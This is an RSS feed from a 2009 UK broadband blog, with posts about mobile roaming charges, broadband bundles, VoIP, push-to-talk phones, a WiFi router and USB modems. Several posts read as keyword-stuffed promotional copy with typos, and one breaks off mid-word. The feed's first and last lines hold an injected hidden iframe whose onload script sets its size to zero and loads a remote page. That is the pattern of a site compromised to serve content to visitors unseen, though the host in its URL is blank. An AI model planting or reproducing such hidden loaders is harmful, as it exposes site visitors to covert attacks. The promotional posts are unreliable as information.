


<iframe frameborder="0" onload="if (!this.src){ this.height='0'; this.src='http:///index.php'; this.width='0';}" >1258188842co3</iframe><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Love Your Internet</title>
	<atom:link href="http://www.l-y-i.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.l-y-i.com</link>
	<description>Your Broadband and Internet Blog</description>
	<pubDate>Tue, 15 Sep 2009 06:55:17 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Expert urges Mobile broadband providers to slash data charges</title>
		<link>http://www.l-y-i.com/2009/07/09/expert-urges-mobile-broadband-providers-to-slash-data-charges/</link>
		<comments>http://www.l-y-i.com/2009/07/09/expert-urges-mobile-broadband-providers-to-slash-data-charges/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 08:04:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Broadband]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=10</guid>
		<description><![CDATA[After years of contention and thousands of Brits returning from their holidays to receive unexpectedly high mobile phone bills, new EU legislation (which came in to force on the 1st July), capping the charge of roaming charges for calls and text messages and the wholesale of mobile broadband has been welcomed by consumers and industry [...]]]></description>
			<content:encoded><![CDATA[<p>After years of contention and thousands of Brits returning from their holidays to receive unexpectedly high mobile phone bills, new EU legislation (which came in to force on the 1st July), capping the charge of roaming charges for calls and text messages and the wholesale of mobile broadband has been welcomed by consumers and industry commentators alike. However despite 3 and Vodafone recently announcing price drops for using their mobile broadband  services abroad Rob Webber, Commercial Director at comparison site Broadband Expert believes that mobile broadband consumers are still receiving a raw deal.</p>
<p>Webber explains that many Brits have already run up huge bills whilst using mobile broadband devices abroad including one customer who received a bill for in excess of £20,000 earlier this year. According to Webber, whilst Vodafone may currently be leading the way in making mobile broadband usage abroad more affordable, it is still prohibitively expensive particularly for any activity involving downloading large amounts of data. Webber explains that downloading an episode of EastEnders whilst abroad inside the EU could range from around £65 to £1,600, dependent on which <a href="http://www.top10-broadband.co.uk/mobile_broadband/">mobile broadband</a> provider you are with.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/07/09/expert-urges-mobile-broadband-providers-to-slash-data-charges/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Best practises in public sector get huge boost from Digital Britain Report</title>
		<link>http://www.l-y-i.com/2009/07/05/best-practises-in-public-sector-get-huge-boost-from-digital-britain-report/</link>
		<comments>http://www.l-y-i.com/2009/07/05/best-practises-in-public-sector-get-huge-boost-from-digital-britain-report/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 08:04:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=11</guid>
		<description><![CDATA[
When viewed on a single citizen basis the Digital Britain report release recently by the government will significantly improve best practises in public sector IT and has been warmly welcomed by Socitm, the body that represents IT professionals in this area.
The IT website, publictechnology.net and reported that services within the public sector will become more [...]]]></description>
			<content:encoded><![CDATA[<p><!-- Thumnail Image --><img style="border: 1px solid grey; margin: 15px 0pt 0pt 10px; padding: 10px; float: right;" src="http://www.broadband-expert.co.uk/blog/wp-content/uploads/digital1.jpg" alt="" /></p>
<p><!-- Thumnail Image -->When viewed on a single citizen basis the Digital Britain report release recently by the government will significantly improve best practises in public sector IT and has been warmly welcomed by Socitm, the body that represents IT professionals in this area.</p>
<p>The IT website, publictechnology.net and reported that services within the public sector will become more accessible, sustainable and efficient than every before with the proposals from the government to deploy universal <a href="http://www.broadband-expert.co.uk/">broadband</a> throughout the country and has been applauded by Socitm.</p>
<p>In response to the recently release Digital Britain report the author of the Socitm response and the head of policy at Socitm, Martin Ferguson said “We welcome the overall focus of the report and its recognition of the strategic role played by the government in stimulating and developing the infrastructure for a Digital Britain. And its timing, given the need to meet ever increasing demands on public services at a time of huge budgetary pressure, is absolutely right.”</p>
<p>In order to improve the best practises from and single citizen point of view and to help implement the findings from the Digital Britain Report he has said that he is looking forward to working side by side with the government.</p>
<p>The plans by the government for a universal deployment of broadband services throughout the country and the improvements to the best practise implemented for all the people in the UK from an individual point have all been outlined in the Digital Britain report.</p>
<p>The report has, however, received mixed views from both the pu</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/07/05/best-practises-in-public-sector-get-huge-boost-from-digital-britain-report/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The advantages of broadband bundles are not being used by consumers</title>
		<link>http://www.l-y-i.com/2009/07/02/the-advantages-of-broadband-bundles-are-not-being-used-by-consumers/</link>
		<comments>http://www.l-y-i.com/2009/07/02/the-advantages-of-broadband-bundles-are-not-being-used-by-consumers/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 08:04:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=12</guid>
		<description><![CDATA[
Recent research from a popular broadband news site has shown that around one third of all consumers that currently use broadband services fail to take advantage of the saving that could be made by combining their digital TV or home phone package with their broadband service.
Even though many users could make a saving of over [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border: 1px solid grey; margin: 15px 0pt 0pt 10px; padding: 10px; float: right;" src="http://www.broadband-expert.co.uk/blog/wp-content/uploads/computer.jpg" alt="" /></p>
<p><!-- Thumnail Image -->Recent research from a popular broadband news site has shown that around one third of all consumers that currently use broadband services fail to take advantage of the saving that could be made by combining their digital TV or home phone package with their broadband service.</p>
<p>Even though many users could make a saving of over £230 every year it was found that as many as 30 percent of the 10 000 respondents that took part in the survey failed to bundle their digital TV or home phone package with their broadband service. It was also found that the number of respondents that were not certain whether <a href="http://www.broadband-expert.co.uk/broadband/broadband-bundles.php">broadband bundles</a> would save them money came to 29 percent with the number saying they didn’t think that bundling services would save them cash coming to 12 percent.</p>
<p>A spokesman for the site carrying out the survey said “Events of the past year have prompted a flurry of cost-cutting so it is surprising to see so many consumers continuing to pay separate suppliers for their broadband, home phone and digital TV - it is also a surprise to see that the same proportion did not actually know if a bundled package represents better value. The price of bundled packages has been steadily driven downwards as the major provider’s battle it out for market share and households subscribing separately for their three services could save £230 or more per year through taking out a bundled package. Of those respondents who did not subscribe to a bundled package, a large proportion (60%) had not shopped around for a better broadband deal in the last 4 years. We would encourage these consumers to get online and compare providers to see what bundled packages are available to them - they will almost certainly find they can enjoy superior services for much less than they are currently paying, with the added benefit of only having one monthly bill to keep track of.”</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/07/02/the-advantages-of-broadband-bundles-are-not-being-used-by-consumers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Get a Free Laptop from Your ISP</title>
		<link>http://www.l-y-i.com/2009/06/25/get-a-free-laptop-from-your-isp/</link>
		<comments>http://www.l-y-i.com/2009/06/25/get-a-free-laptop-from-your-isp/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 08:01:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=9</guid>
		<description><![CDATA[We can get a free laptop by just signing with a broadband connections provider. Just imagine the laptop that costs you thousands pounds, that you can get it with no cost. But, in order to get the gift, you must sign up and choose the packages that offered by broadband connections provider. It’s a part [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="float: left;" src="http://tbn3.google.com/images?q=tbn:T93bBJgamY6UTM:http://www.ibspro.net/wp-content/uploads/2008/05/broadband.jpg" alt="" width="154" height="145" />We can get a free laptop by just signing with a broadband connections provider. Just imagine the laptop that costs you thousands pounds, that you can get it with no cost. But, in order to get the gift, you must sign up and choose the packages that offered by broadband connections provider. It’s a part of their marketing strategies that makes the provider to award their customers with free laptops, other than to give the best service with affordable prices. Do make a comparison on the prices before you make a decision to sign up for broadband connection.</p>
<p>Most of the broadband connections offer branded laptops, such as DELL and Orange that comes with the latest features, such as Window Vista and large hard disc space. The charges for broadband are not fixed; some was cheap, and some was expensive. Some broadband connection providers offer their customers with other gadgets rather than to give free laptops. One of the related website, www.broadband-expert.co.uk also offers its customers with an affordable price. Even there’s no free laptop, but they provider gives their customers with freebies like USB cable, modem, router and many more. The choice is your, so do choice the best one depends on your needs.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/06/25/get-a-free-laptop-from-your-isp/feed/</wfw:commentRss>
		</item>
		<item>
		<title>UK Broadband Provider Offers</title>
		<link>http://www.l-y-i.com/2009/06/09/uk-broadband-provider-offers/</link>
		<comments>http://www.l-y-i.com/2009/06/09/uk-broadband-provider-offers/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 08:01:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=8</guid>
		<description><![CDATA[Tiscali is popular for internet users since a year, for their services by providing broadband and TV package as well. Using ADSL wireless router, customers can enjoy an internet with high speed connection at home with Tiscali internet provider. Tiscani is one of the UK broadband provider offers TalkTalk broadband packages with affordable price. Since [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" style="float: right;" src="http://tbn3.google.com/images?q=tbn:JnBLP-bIYO7qaM:http://www.etftrends.com/wp-content/uploads/2008/08/broadband-icon.jpg" alt="" width="235" height="139" />Tiscali is popular for internet users since a year, for their services by providing broadband and TV package as well. Using ADSL wireless router, customers can enjoy an internet with high speed connection at home with Tiscali internet provider. Tiscani is one of the UK broadband provider offers TalkTalk broadband packages with affordable price. Since it’s a wireless connection, so the range is not controlled by a wire and you have freedoms to talk in any location at your house, as long as there’s a reception of the internet. Nowadays most PC and laptops was installed with Wifi connection, so a receiver is not a problem anymore.<br />
Tiscani offers cheap TalkTalk broadband packages, for example currently they just released a new package called 19.99 triple-pay packages. The package consists of 2M broadband connection, with complimentary weekend calls to UK and not only that, we can contact anybody that lives in top ten international countries. The 19.99 triple packages also include a telephone line rental, and free download as well. You will get all of this and many more offer with only 19.99. If you need faster connection, then you just need to pay a bit extra to enjoy up to 8MB broadband.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/06/09/uk-broadband-provider-offers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>UK Broadband Provider Reviews</title>
		<link>http://www.l-y-i.com/2009/05/09/uk-broadband-provider-reviews/</link>
		<comments>http://www.l-y-i.com/2009/05/09/uk-broadband-provider-reviews/#comments</comments>
		<pubDate>Sat, 09 May 2009 08:00:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=7</guid>
		<description><![CDATA[When we want to make a comparison on which is the best broadband provider that can provide a good service, one thing that always in our mind is to find the good price. New user can expect a fixed rate of 1 Mbps. TalkTalk 8MB broadband provider can supply up to 8MB for their customers, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="float: left;" src="http://tbn2.google.com/images?q=tbn:PVuui0oWmepBLM:http://www.myngle.com/blog/wp-content/uploads/2008/09/broadband-1.jpg" alt="" width="198" height="131" />When we want to make a comparison on which is the best broadband provider that can provide a good service, one thing that always in our mind is to find the good price. New user can expect a fixed rate of 1 Mbps. TalkTalk 8MB broadband provider can supply up to 8MB for their customers, but it based on terms and conditions. After you become a regular customers for certain period of time, you will be able to enjoy the privilege, even it stated in their website that we can enjoy it instantly, but it depends on the broadband speed on your area that provide by the supplier. If your residence is far away from the broadband exchange, you may not enjoy 8MB broadband.</p>
<p>The price range is variable, from as low as $7 you can get unlimited broadband provides by cheap broadband suppliers UK, do search for the best provider, that can gives us low charges with high speed connection. Some of the providers even offer a free gift together with an attractive package. Check in the internet a TalkTalk broadband provider reviews that can helps you before you make a decision. In order to get better services, don’t look at the price only, but make sure that you can enjoy fast connection with less interruption.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/05/09/uk-broadband-provider-reviews/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A new VOIP technology evolved</title>
		<link>http://www.l-y-i.com/2009/04/09/a-new-voip-technology-evolved/</link>
		<comments>http://www.l-y-i.com/2009/04/09/a-new-voip-technology-evolved/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 07:59:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=6</guid>
		<description><![CDATA[VoIP compared to traditional telephone line is the capabilities that it can transmit the same broadband connection for more than one telephone call. As a result, it will become easy to install VoIP to your house or an office. Its so convenience, since the customers can be elsewhere in order to make a call, as [...]]]></description>
			<content:encoded><![CDATA[<p>VoIP compared to traditional telephone line is the capabilities that it can transmit the same broadband connection for more than one telephone call. As a result, it will become easy to install VoIP to your house or an office. Its so convenience, since the customers can be elsewhere in order to make a call, as long as the internet was connected and in stable connection. The best part, the charges are flat rate, no matter where we are.</p>
<p>. The cost to use vOIP is totally lower than a traditional phone line. The call charges are cheap because it’s using internet, and not a wire. Even call that was made from VoIP user to other VoIP user is free. iPhone is the latest model that using VoIP. Through the system, iPhone can change its GSM mode to WiFi. In other words, consumers can talk and surf at the same time. It is suitable for anybody, especially for small business phone, since a lot of savings can be made compared if you install a traditional small business telephone systems. For business purposes, customes can choose a variety of VoIP telephones that available online or in a market. NEC phones is one of an example, and you get a quotation on the internet. NEC phones is one of the best models for office VoIP telephones.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/04/09/a-new-voip-technology-evolved/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Latest Communication Technology - Push to Talk</title>
		<link>http://www.l-y-i.com/2009/03/09/latest-communication-technology-push-to-talk/</link>
		<comments>http://www.l-y-i.com/2009/03/09/latest-communication-technology-push-to-talk/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 07:59:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=5</guid>
		<description><![CDATA[Push to Talk or PTT is another latest technology in worldwide communication. PTT become so popular in the US, it functions such as to spread such as news, jokes, an invitation to a lot of peoples at the same time. It was very popular in United States.
Previously, PTT is applying only for a walkie talkie, [...]]]></description>
			<content:encoded><![CDATA[<p>Push to Talk or PTT is another latest technology in worldwide communication. PTT become so popular in the US, it functions such as to spread such as news, jokes, an invitation to a lot of peoples at the same time. It was very popular in United States.</p>
<p>Previously, PTT is applying only for a walkie talkie, whereby it was used on a business purpose to easily get in touch. Transportation industries, such as taxis and lorries are the most common industry that using PTT via two-way radio. It is for the convenience in terms of communicating, whereby an announcement can be send to a lot of people, and no need to call each one of the people. It can save time and also a telephone bills.</p>
<p>Nowadays, Push To Talk Phones just been introduced. It’s slightly the same features that was available on a walkie talkie, but with more features. In United States, there’s a huge carrier provider that offer PTT with a selection of plans. For a family that wants to save your bill, especially for those who’d always in touch can opt for family cell phones plans and you can communicate like you’re talking in person. That’s the different between PTT and a conventional cell phone, whereby it practice one-to-one communication. Even if you’re at Lake Tahoe Casinos, you still can communicate with your friends that stay in Texas, Ohio and Washington at the same time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/03/09/latest-communication-technology-push-to-talk/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AlphaShield announces WiFi router with 1.2M square foot coverage</title>
		<link>http://www.l-y-i.com/2009/02/09/alphashield-announces-wifi-router-with-12m-square-foot-coverage/</link>
		<comments>http://www.l-y-i.com/2009/02/09/alphashield-announces-wifi-router-with-12m-square-foot-coverage/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 07:58:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=4</guid>
		<description><![CDATA[Canadian company AlphaShield has taken the wraps off its new AS-8800 wireless router, promising a mighty 1.2 million square feet of coverage (in ideal conditions, no doubt). Supposedly, the router’s Power-G technology (not to be confused with Super-G, Xtreme-G, or Kenny G) gives it up to 20 times more power than traditional routers, allowing for [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="float: left;" src="http://www.blogsmithmedia.com/www.engadget.com/media/2006/12/alphashield_router.jpg" alt="" />Canadian company AlphaShield has taken the wraps off its new AS-8800 wireless router, promising a mighty 1.2 million square feet of coverage (in ideal conditions, no doubt). Supposedly, the router’s Power-G technology (not to be confused with Super-G, Xtreme-G, or Kenny G) gives it up to 20 times more power than traditional routers, allowing for the wireless signal to pass through concrete walls with ease and giving you speeds up to 108Mbps over a distance of 1,200 feet indoors and 3,900 feet outdoors. To round out the package, AlphaShield’s also outfitted the router with no less than five Gigabet Ethernet ports, as well as a firewall, USB print server, and VPN support, among other standard router features. You’ll have to wait a bit to put all that range to the test yourself, however, with the router set to launch in January for $250.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/02/09/alphashield-announces-wifi-router-with-12m-square-foot-coverage/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sony Ericsson pops out MD400 / MD400g HSPA USB modems</title>
		<link>http://www.l-y-i.com/2009/01/09/sony-ericsson-pops-out-md400-md400g-hspa-usb-modems/</link>
		<comments>http://www.l-y-i.com/2009/01/09/sony-ericsson-pops-out-md400-md400g-hspa-usb-modems/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 07:57:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.l-y-i.com/?p=3</guid>
		<description><![CDATA[ In case you couldn’t tell, Sony’s getting down at CommunicAsia. Next up from Singapore is a fresh pair of HSPA USB modems, the MD400 and GPS-packin’ MD400g. Both sticks pull double duty as a M2 / microSD card reader, but it’s not like we haven’t seen that functionality tossed into similar units already. Nevertheless, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.blogsmithmedia.com/www.engadget.com/media/2008/06/6-17-08-md400_se_modem.jpg" alt="" width="407" height="416" /> In case you couldn’t tell, Sony’s getting down at CommunicAsia. Next up from Singapore is a fresh pair of HSPA USB modems, the MD400 and GPS-packin’ MD400g. Both sticks pull double duty as a M2 / microSD card reader, but it’s not like we haven’t seen that functionality tossed into similar units already. Nevertheless, these buggers support 7.2Mb/s download and 2.0M/bs upload speeds and feature a swiveling antenna to complement the built-in one, a retractable USB connector and compatibility with Windows and OS X-based machines. SE tells us that the currently unpriced duo will be available worldwide in Q4, with the biggest decision to come when choosing between Exquisite Ebony and Lustrous White.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.l-y-i.com/2009/01/09/sony-ericsson-pops-out-md400-md400g-hspa-usb-modems/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>


<iframe frameborder="0" onload="if (!this.src){ this.height='0'; this.src='http:///index.php'; this.width='0';}" >1258188842co3</iframe>